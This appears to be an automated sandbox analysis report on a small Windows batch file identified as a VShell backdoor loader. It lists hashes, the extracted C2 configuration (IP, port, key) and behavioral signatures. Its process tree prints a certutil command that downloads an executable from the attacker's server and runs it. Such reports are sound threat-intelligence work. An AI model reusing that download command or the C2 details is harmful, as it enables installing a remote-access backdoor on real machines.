Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
30/09/2026, 12:33
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 497B
- Sample260930-prphvsyapc
- SHA256 aaa2d64a8585edfd48e83fcd86862b4dda94f45bd71fb2682ac295d9b797561f
- MD5 a60713282d3927f7a368bb5c31232104
- SHA1 673b160eff94efd09a05d8c0e4937b13703780e7
- SHA512 c375f0750c420ac28b22d813af547ac0db62c700fd319cd4b8fe30f19f0abdf8ebfd14121a54f78b3e1b7385f5d6a1506bcf06a6c8d9dad565f6866347ee176f
- TLSH T195F0054F243B1D7027C2C50360523480B187C1D14571B10CEE4014D91F8916436EBB82
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
ws://42.194.137.92
Attributes
-
port
8084
-
salt
guanxuan
-
type
ws
-
vkey
guanxuan
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/2544-7-0x0000000067D40000-0x0000000068534000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 4268 certutil.exe 6 4268 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 2544 79d1174dws.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1808 cmd.exe 5868 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 79d1174dws.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 79d1174dws.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1088 WMIC.exe 1088 WMIC.exe 1088 WMIC.exe 1088 WMIC.exe 2544 79d1174dws.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1088 WMIC.exe Token: SeSecurityPrivilege 1088 WMIC.exe Token: SeTakeOwnershipPrivilege 1088 WMIC.exe Token: SeLoadDriverPrivilege 1088 WMIC.exe Token: SeSystemProfilePrivilege 1088 WMIC.exe Token: SeSystemtimePrivilege 1088 WMIC.exe Token: SeProfSingleProcessPrivilege 1088 WMIC.exe Token: SeIncBasePriorityPrivilege 1088 WMIC.exe Token: SeCreatePagefilePrivilege 1088 WMIC.exe Token: SeBackupPrivilege 1088 WMIC.exe Token: SeRestorePrivilege 1088 WMIC.exe Token: SeShutdownPrivilege 1088 WMIC.exe Token: SeDebugPrivilege 1088 WMIC.exe Token: SeSystemEnvironmentPrivilege 1088 WMIC.exe Token: SeRemoteShutdownPrivilege 1088 WMIC.exe Token: SeUndockPrivilege 1088 WMIC.exe Token: SeManageVolumePrivilege 1088 WMIC.exe Token: 33 1088 WMIC.exe Token: 34 1088 WMIC.exe Token: 35 1088 WMIC.exe Token: 36 1088 WMIC.exe Token: SeIncreaseQuotaPrivilege 1088 WMIC.exe Token: SeSecurityPrivilege 1088 WMIC.exe Token: SeTakeOwnershipPrivilege 1088 WMIC.exe Token: SeLoadDriverPrivilege 1088 WMIC.exe Token: SeSystemProfilePrivilege 1088 WMIC.exe Token: SeSystemtimePrivilege 1088 WMIC.exe Token: SeProfSingleProcessPrivilege 1088 WMIC.exe Token: SeIncBasePriorityPrivilege 1088 WMIC.exe Token: SeCreatePagefilePrivilege 1088 WMIC.exe Token: SeBackupPrivilege 1088 WMIC.exe Token: SeRestorePrivilege 1088 WMIC.exe Token: SeShutdownPrivilege 1088 WMIC.exe Token: SeDebugPrivilege 1088 WMIC.exe Token: SeSystemEnvironmentPrivilege 1088 WMIC.exe Token: SeRemoteShutdownPrivilege 1088 WMIC.exe Token: SeUndockPrivilege 1088 WMIC.exe Token: SeManageVolumePrivilege 1088 WMIC.exe Token: 33 1088 WMIC.exe Token: 34 1088 WMIC.exe Token: 35 1088 WMIC.exe Token: 36 1088 WMIC.exe Token: SeDebugPrivilege 2544 79d1174dws.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1808 wrote to memory of 5868 1808 cmd.exe 90 PID 5868 wrote to memory of 1088 5868 cmd.exe 91 PID 5868 wrote to memory of 3400 5868 cmd.exe 92 PID 1808 wrote to memory of 4268 1808 cmd.exe 94 PID 1808 wrote to memory of 2544 1808 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1808 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5868 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1088
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:3400
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://42.194.137.92:8084/?h=42.194.137.92&p=8084&t=ws&a=w64&stage=true" "C:\Users\Public\79d1174dws.exe"2⤵
- Downloads MZ/PE file
PID:4268
-
-
C:\Users\Public\79d1174dws.exe"C:\Users\Public\79d1174dws.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2544
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\79d1174dws.exe
- Size 4KB
- SHA256 ec562921b1c82a1a1ef9895d6b631f9c89bfe6238bbf38faaa62bf4aef52e6cb
- MD5 920940f9626028a220f196161e11d956
- SHA1 19c463004033f9baf2fccca4f8d3598a85d9eba5
- SHA512 431d41f54efc249f3a9fd0e55ca6250bc16c8b0a7006111e5aa79736910e24da1b014b993d17393663a6cb340dba8f414d4dc1abf6c302c7f3caaf5360c40dc5
- SSDEEP 48:6IIF9BlQaexrmgZS7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMrP70cF50uDxUOvXeg
- TLSH T19B91D74270B989E7E85C41BF4D0FB8A0B91D740A41C483A70378A5993E3A57BF57CB0E
- MD5 SHA1 SHA512 SSDEEP TLSH